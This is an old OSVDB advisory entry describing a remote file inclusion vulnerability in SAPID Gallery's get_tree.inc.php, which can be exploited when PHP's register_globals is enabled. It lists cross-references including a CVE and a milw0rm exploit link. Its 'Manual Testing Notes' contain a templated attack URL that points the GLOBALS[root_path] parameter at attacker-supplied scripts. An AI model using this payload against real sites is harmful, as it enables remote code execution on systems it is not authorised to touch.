SAPID Gallery get_tree.inc.php GLOBALS[root_path] Variable Remote File Inclusion

2006-08-07T09:20:09
ID OSVDB:27832
Type osvdb
Reporter OSVDB
Modified 2006-08-07T09:20:09

Description

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Manual Testing Notes

http://[target]/[sapidgalery_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts]

References:

Secunia Advisory ID:21413 Related OSVDB ID: 27831 ISS X-Force ID: 28254 Generic Exploit URL: http://milw0rm.com/exploits/2130 FrSIRT Advisory: ADV-2006-3197 CVE-2006-4065